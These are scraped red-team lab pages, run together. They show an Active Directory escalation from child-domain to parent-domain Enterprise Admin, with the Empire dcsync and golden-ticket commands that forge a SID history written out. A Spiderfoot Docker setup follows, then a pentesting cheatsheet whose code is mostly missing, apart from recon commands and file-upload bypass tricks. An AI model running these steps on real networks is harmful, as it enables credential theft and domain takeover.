`offense.local\Domain Admins`since we have the SID of the `offense.local\krbtgt` and the hash of `red.offense.local\krbtgt`: Note how during `sids` specification, we replaced the last three digits from 502 (krbtgt) to 519 (enterprise admins) - this part of the process is called a SID History Attack: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLsWs8M-uWI0YYFzPIp%252F-LLsawB_-1oej-CEwxe0%252Fempire-golden-ticket.png%3Falt%3Dmedia%26token%3D2612f1de-688c-4f50-ae68-3e4bce28d981&width=768&dpr=3&quality=100&sign=6981acb9&sv=2) The `CredID` property in the dcsync module comes from the Empire's credential store which previously got populated by our mimikatz'ing: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLsWs8M-uWI0YYFzPIp%252F-LLsb2PvcO7o8Wyh6B4f%252Fempire-creds.png%3Falt%3Dmedia%26token%3D933b47ca-4474-4c4e-92c5-6efb3cd22fe5&width=768&dpr=3&quality=100&sign=4b505bd4&sv=2) We now should be Enterprise Admin in `offense.local`and we can test it by listing the admin share `c$` of the `dc-mantvydas.offense.local:` ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLsbTZVaOL_xeLhk8RC%252F-LLsfOZZXSZLkZZjG_uu%252Fempire-enterprise-admin.png%3Falt%3Dmedia%26token%3D278a5cea-05ba-47a3-a210-1a068de9065a&width=768&dpr=3&quality=100&sign=c6310311&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#agent-from-root-domain) Agent from Root Domain For the sake of fun and wrapping this lab up, let's get an agent from the `dc-mantvydas`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLsbTZVaOL_xeLhk8RC%252F-LLskTCpfFdbJ1EUR5sZ%252Fempire-agent-from-rootdomain.png%3Falt%3Dmedia%26token%3D78fd1f21-7219-48ab-ae1b-28582cfc9bcf&width=768&dpr=3&quality=100&sign=7f03bff3&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#alternative-exploit-writeable-configuration-nc) Alternative: Exploit writeable Configuration NC ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The Configuration NC is the primary repository for configuration information for a forest and is replicated to every DC in the forest. Every writable DC (not read-only DCs) in the forest holds a writable copy of the Configuration NC. Exploiting this require running as SYSTEM on a (child) DC. It is possible to compromise the root domain in various ways. Examples: * [Link GPO to to root DC site](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) * [Compromise gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) * [Schema attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) * Exploit ADCS - Create/modify certificate template to allow authentication as any user (e.g. Enterprise Admins) SID filtering prevents the SID history attack, but not this one. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#references) References ---------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fs0.wp.com%2Fi%2Ffavicon.ico%3Fm%3D1713425267i&width=20&dpr=3&quality=100&sign=396b9387&sv=2)An Empire Case Studyenigma0x3](https://enigma0x3.net/2016/01/28/an-empire-case-study/) [http://www.harmj0y.net/blog/redteaming/trusts-you-might-have-missed/www.harmj0y.net](http://www.harmj0y.net/blog/redteaming/trusts-you-might-have-missed/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Understanding Trust DirectionMicrosoftLearn](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc731404(v%3dws.10)) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Get-ADTrust (ActiveDirectory)MicrosoftLearn](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust?view=winserver2012-ps) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Trust Technologies: Domain and Forest TrustsMicrosoftLearn](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Security IdentifiersMicrosoftLearn](https://support.microsoft.com/en-gb/help/243330/well-known-security-identifiers-in-windows-operating-systems) [PreviousActive Directory & Kerberos Abuse](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse) [NextKerberoasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) Last updated 3 years ago * [Domain Trust Relationships](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#domain-trust-relationships) * [Parent / Child Domains](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#parent-child-domains) * [Forests](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#forests) * [Forests Test](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#forests-test) * [Back to Empire: From DA to EA](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#back-to-empire-from-da-to-ea) * [Credential Dumping](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#credential-dumping) * [Token Manipulation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#token-manipulation) * [DC Recon](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#dc-recon) * [Lateral Movement](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#lateral-movement) * [Checking Trust Relationships](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#checking-trust-relationships) * [From DA to EA](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#from-da-to-ea) * [Golden Ticket for Root Domain](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#golden-ticket-for-root-domain) * [Agent from Root Domain](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#agent-from-root-domain) * [Alternative: Exploit writeable Configuration NC](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#alternative-exploit-writeable-configuration-nc) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#references) Copy Get-ADTrust -Filter * Copy nltest /domain_trusts Copy ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() Copy shell [DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | ForEach-Object { $_.Name } Copy shell dir \\dc-red.red.offense.local\c$ Copy usemodule lateral_movement/invoke_wmi Copy usemodule situational_awareness/network/powerview/get_domain_trust Copy (Empire: powershell/situational_awareness/network/powerview/get_domain_trust) > usemodule powershell/management/user_to_sid (Empire: powershell/management/user_to_sid) > set Domain offense.local (Empire: powershell/management/user_to_sid) > set User krbtgt (Empire: powershell/management/user_to_sid) > run Copy (Empire: powershell/management/user_to_sid) > usemodule powershell/credentials/mimikatz/dcsync (Empire: powershell/credentials/mimikatz/dcsync) > set user red\krbtgt (Empire: powershell/credentials/mimikatz/dcsync) > execute Copy usemodule powershell/credentials/mimikatz/golden_ticket (Empire: powershell/credentials/mimikatz/golden_ticket) > set user hakhak (Empire: powershell/credentials/mimikatz/golden_ticket) > set sids S-1-5-21-4172452648-1021989953-2368502130-519 (Empire: powershell/credentials/mimikatz/golden_ticket) > set CredID 8 (Empire: powershell/credentials/mimikatz/golden_ticket) > run Copy set sids S-1-5-21-4172452648-1021989953-2368502130-519 Copy shell dir \\dc-mantvydas\c$ --- # Initial Access | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access.md) . [Password Spraying Outlook Web Access: Remote Shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) [Phishing with MS Office](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office) [Phishing with GoPhish and DigitalOcean](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean) [Forced Authentication](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication) [NetNTLMv2 hash stealing using Outlook](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook) [PreviousSpiderfoot 101 with Kali using Docker](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker) [NextPassword Spraying Outlook Web Access: Remote Shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) --- # Red Team Infrastructure | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/red-team-infrastructure.md) . [HTTP Forwarders / Relays](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders) [SMTP Forwarders / Relays](https://www.ired.team/offensive-security/red-team-infrastructure/smtp) [Phishing with Modlishka Reverse HTTP Proxy](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing) [Automating Red Team Infrastructure with Terraform](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform) [Cobalt Strike 101](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands) [Powershell Empire 101](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101) [Spiderfoot 101 with Kali using Docker](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker) [PreviousAbusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain) [NextHTTP Forwarders / Relays](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders) Last updated 7 years ago --- # Spiderfoot 101 with Kali using Docker | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker.md) . This lab walks through some simple steps required to get the OSINT tool Spiderfoot up and running on a Kali Linux using Docker. Spiderfoot is an application that enables you as a pentester/red teamer to collect intelligence about a given subject - email address, username, domain or IP address that may help you in planning and advancing your attacks against them. [](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#download-spiderfoot) Download Spiderfoot ------------------------------------------------------------------------------------------------------------------------------------------------------- Download the Spiderfoot linux package from [https://www.spiderfoot.net/download/](https://www.spiderfoot.net/download/) and extract it to a location of your choice on your file system. I extracted it to `/root/Downloads/spiderfoot-2.12.0-src/spiderfoot-2.12` and made it my working directory: Copy cd /root/Downloads/spiderfoot-2.12.0-src/spiderfoot-2.12 [](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#upgrade-pip) Upgrade PIP --------------------------------------------------------------------------------------------------------------------------------------- You may need to upgrade the pip before it starts giving you trouble: Copy pip install --upgrade pip [](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#build-docker-image) Build Docker Image ----------------------------------------------------------------------------------------------------------------------------------------------------- Build the spiderfoot docker image : Copy docker build -t spiderfoot . ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTwEKXVlfa7dFAOdcJx%252F-LTwIHAEEMAhTPym0UPX%252FScreenshot%2520from%25202018-12-17%252013-13-33.png%3Falt%3Dmedia%26token%3Dc9e1a1ef-6522-4db8-87fd-1e0a7dcbc4a6&width=768&dpr=3&quality=100&sign=6d02ee4c&sv=2) Check if the image got created successfully: You should see the spiderfoot image creted seconds ago: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTwEKXVlfa7dFAOdcJx%252F-LTwJ7ksRwafMptTtGHO%252FScreenshot%2520from%25202018-12-17%252013-00-55.png%3Falt%3Dmedia%26token%3D5db9bba8-8c04-4f3e-aa3a-deb84744a2f1&width=768&dpr=3&quality=100&sign=59616219&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#run-the-spiderfoot-docker) Run the Spiderfoot Docker ------------------------------------------------------------------------------------------------------------------------------------------------------------------- The above will run previously created spiderfoot image in the background and expose a TCP port 5009 on the host computer. Any traffic sent to `host:5009` will be forwarded to the port 5001 on the docker where spiderfoot is running and listening. To check if the docker image is running, we can do: The below confirms the docker is indeed running the spiderfoot image and is listening on port 5001: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTwEKXVlfa7dFAOdcJx%252F-LTwJo09kLZqqr_NiY_K%252FScreenshot%2520from%25202018-12-17%252013-20-22.png%3Falt%3Dmedia%26token%3Dae2fecdb-6dae-4c92-bd2f-aad7e145667b&width=768&dpr=3&quality=100&sign=a3795a84&sv=2) Below confirms that the host machine has now exposed the TCP port 5009 (which forwards traffic to the docker's port 5001): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTwEKXVlfa7dFAOdcJx%252F-LTwJfLBr76AlSt7LMp3%252FScreenshot%2520from%25202018-12-17%252013-02-03.png%3Falt%3Dmedia%26token%3D598f28c7-9336-46bf-94ae-5ae002476afa&width=768&dpr=3&quality=100&sign=fb5ce66a&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#using-spiderfoot) Using Spiderfoot ------------------------------------------------------------------------------------------------------------------------------------------------- Navigate to your host:5009 to access the spiderfoot UI and start a new scan: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTwEKXVlfa7dFAOdcJx%252F-LTwKG8JvgSv50GOlhwG%252FScreenshot%2520from%25202018-12-17%252012-57-59.png%3Falt%3Dmedia%26token%3D5eabb28c-52f1-4055-8975-b906a2831acc&width=768&dpr=3&quality=100&sign=c1d98f89&sv=2) During the scan, we can start observing various pieces of data being returned from the internet: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTwEKXVlfa7dFAOdcJx%252F-LTwKVsIRUq7gedGiZt_%252FScreenshot%2520from%25202018-12-17%252012-58-32.png%3Falt%3Dmedia%26token%3D73519952-2fb2-40e3-8670-11bd79888dc9&width=768&dpr=3&quality=100&sign=ec377a17&sv=2) Drilling down to one of the above categories - DNS records: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTwEKXVlfa7dFAOdcJx%252F-LTwKbO0pkqxMl38C7pE%252FScreenshot%2520from%25202018-12-17%252012-58-45.png%3Falt%3Dmedia%26token%3D0d54eed8-0f99-4709-a08b-ea6b27e4f10c&width=768&dpr=3&quality=100&sign=c49482a9&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#references) References ------------------------------------------------------------------------------------------------------------------------------------- [https://www.spiderfoot.net/blog/spiderfoot-running-in-docker/www.spiderfoot.net](https://www.spiderfoot.net/blog/spiderfoot-running-in-docker/) [PreviousPowershell Empire 101](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101) [NextInitial Access](https://www.ired.team/offensive-security/initial-access) Last updated 7 years ago * [Download Spiderfoot](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#download-spiderfoot) * [Upgrade PIP](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#upgrade-pip) * [Build Docker Image](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#build-docker-image) * [Run the Spiderfoot Docker](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#run-the-spiderfoot-docker) * [Using Spiderfoot](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#using-spiderfoot) * [References](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker#references) Copy docker images Copy docker run -p 5009:5001 -d spiderfoot Copy docker ps --- # Pentesting Cheatsheets | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets.md) . [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#reconnaissance-enumeration) Reconnaissance / Enumeration ---------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#extracting-live-ips-from-nmap-scan) Extracting Live IPs from Nmap Scan Copy nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#simple-port-knocking) Simple Port Knocking Copy for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#dns-lookups-zone-transfers-and-brute-force) DNS lookups, Zone Transfers & Brute-Force Copy whois domain.com dig {a|txt|ns|mx} domain.com dig {a|txt|ns|mx} domain.com @ns1.domain.com host -t {a|txt|ns|mx} megacorpone.com host -a megacorpone.com host -l megacorpone.com ns1.megacorpone.com dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com dnsenum domain.com nslookup -> set type=any -> ls -d domain.com for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#banner-grabbing) Banner Grabbing ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#nfs-exported-shares) NFS Exported Shares List NFS exported shares: ...and check if `'rw,no_root_squash'` is present. If it is present, compile the below `sid-shell.c`: ...upload it to the share and execute the below to launch `sid-shell` to spawn a root shell: ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#kerberos-enumeration) Kerberos Enumeration ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#http-brute-force-and-vulnerability-scanning) HTTP Brute-Force & Vulnerability Scanning ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#rpc-netbios-smb) RPC / NetBios / SMB ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#snmp) SNMP ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#smtp) SMTP ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#active-directory) Active Directory ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#listen-on-a-port-powershell) Listen on a port (Powershell) [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#gaining-access) Gaining Access -------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#reverse-shell-one-liners) Reverse Shell One-Liners #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#bash) Bash #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#perl) Perl #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#url-encoded-perl-linux) URL-Encoded Perl: Linux #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#python) Python #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#php) PHP #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ruby) Ruby #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#netcat-without-e-1) Netcat without -e #1 #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#netcat-without-e-2) Netcat without -e #2 #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#java) Java #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#xterm) XTerm ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#jdwp-rce) JDWP RCE ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#working-with-restricted-shells) Working with Restricted Shells ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#interactive-tty-shells) Interactive TTY Shells ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#uploading-posting-files-through-www-upload-forms) Uploading/POSTing Files Through WWW Upload Forms ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#puting-file-on-the-webhost-via-put-verb) PUTing File on the Webhost via PUT verb ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-payload-pattern-and-calculating-offset) Generating Payload Pattern & Calculating Offset ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#bypassing-file-upload-restrictions) Bypassing File Upload Restrictions * file.php -> file.jpg * file.php -> file.php.jpg * file.asp -> file.asp;.jpg * file.gif (contains php code, but starts with string GIF/GIF98) * 00% * file.jpg with php backdoor in exif (see below) * .jpg -> proxy intercept -> rename to .php ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#injecting-php-into-jpeg) Injecting PHP into JPEG ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#uploading-.htaccess-to-interpret-.blah-as-.php) Uploading .htaccess to interpret .blah as .php ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cracking-passwords) Cracking Passwords #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cracking-web-forms-with-hydra) Cracking Web Forms with Hydra #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cracking-common-protocols-with-hydra) Cracking Common Protocols with Hydra #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#hashcat-cracking) HashCat Cracking ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-payload-with-msfvenom) Generating Payload with msfvenom ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#compiling-code-from-linux) Compiling Code From Linux ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#compiling-assembly-from-windows) Compiling Assembly from Windows ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#local-file-inclusion-to-shell) Local File Inclusion to Shell ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#local-file-inclusion-reading-files) Local File Inclusion: Reading Files ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#remote-file-inclusion-shell-windows--php) Remote File Inclusion Shell: Windows + PHP ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#sql-injection-to-shell-or-backdoor) SQL Injection to Shell or Backdoor ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#sqlite-injection-to-shell-or-backdoor) SQLite Injection to Shell or Backdoor ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ms-sql-console) MS-SQL Console ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#upgradig-non-interactive-shell) Upgradig Non-Interactive Shell ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#python-input-code-injection) Python Input Code Injection [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#local-enumeration-and-privilege-escalation) Local Enumeration & Privilege Escalation -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LSPOrXeQsGUfhvZOKfQ%252F-LSPPIibuw-2XN2-WKC6%252Fprivesc.jpg%3Falt%3Dmedia%26token%3D242858cc-b0d1-4d26-a9c5-5b37a398f15c&width=768&dpr=3&quality=100&sign=f77f670c&sv=2) https://github.com/sagishahar/lpeworkshop ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-applocker-policies) Check AppLocker Policies ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#applocker-writable-windows-directories) Applocker: Writable Windows Directories ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#find-writable-files-folders-in-windows) Find Writable Files/Folders in Windows ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-if-powershell-logging-is-enabled) Check if Powershell Logging is Enabled ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-winevent-logs-for-securestring-exposure) Check WinEvent Logs for SecureString Exposure ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-winevent-for-machine-wake-sleep-times) Check WinEvent for Machine Wake/Sleep times ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#audit-policies) Audit Policies ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-if-lsass-is-running-in-ppl) Check if LSASS is running in PPL ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#binary-exploitation-with-immunitydebugger) Binary Exploitation with ImmunityDebugger #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#get-loaded-modules) Get Loaded Modules #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#finding-jmp-esp-address) Finding JMP ESP Address ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cracking-a-zip-password) Cracking a ZIP Password ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#setting-up-simple-http-server) Setting up Simple HTTP server ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#mysql-user-defined-fuction-privilge-escalation) MySQL User Defined Fuction Privilge Escalation Requires raptor\_udf2.c and sid-shell.c or full raptor.tar: 151B [sid-shell.c](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxBLJMuHp2z86_M52uB%2F-LxBMOA8UpvEQqTwR_Cb%2Fsid-shell.c?alt=media&token=4886dd0e-a799-4aee-87d3-7d08ebd0aac7) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxBLJMuHp2z86_M52uB%2F-LxBMOA8UpvEQqTwR_Cb%2Fsid-shell.c?alt=media&token=4886dd0e-a799-4aee-87d3-7d08ebd0aac7) 30KB [raptor.tar](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxBLJMuHp2z86_M52uB%2F-LxBMWhbCipw0IiI1Acp%2Fraptor.tar?alt=media&token=6a58e4eb-c8e8-4494-8bc0-ca23de632294) archive Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxBLJMuHp2z86_M52uB%2F-LxBMWhbCipw0IiI1Acp%2Fraptor.tar?alt=media&token=6a58e4eb-c8e8-4494-8bc0-ca23de632294) ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#docker-privilege-esclation) Docker Privilege Esclation ### 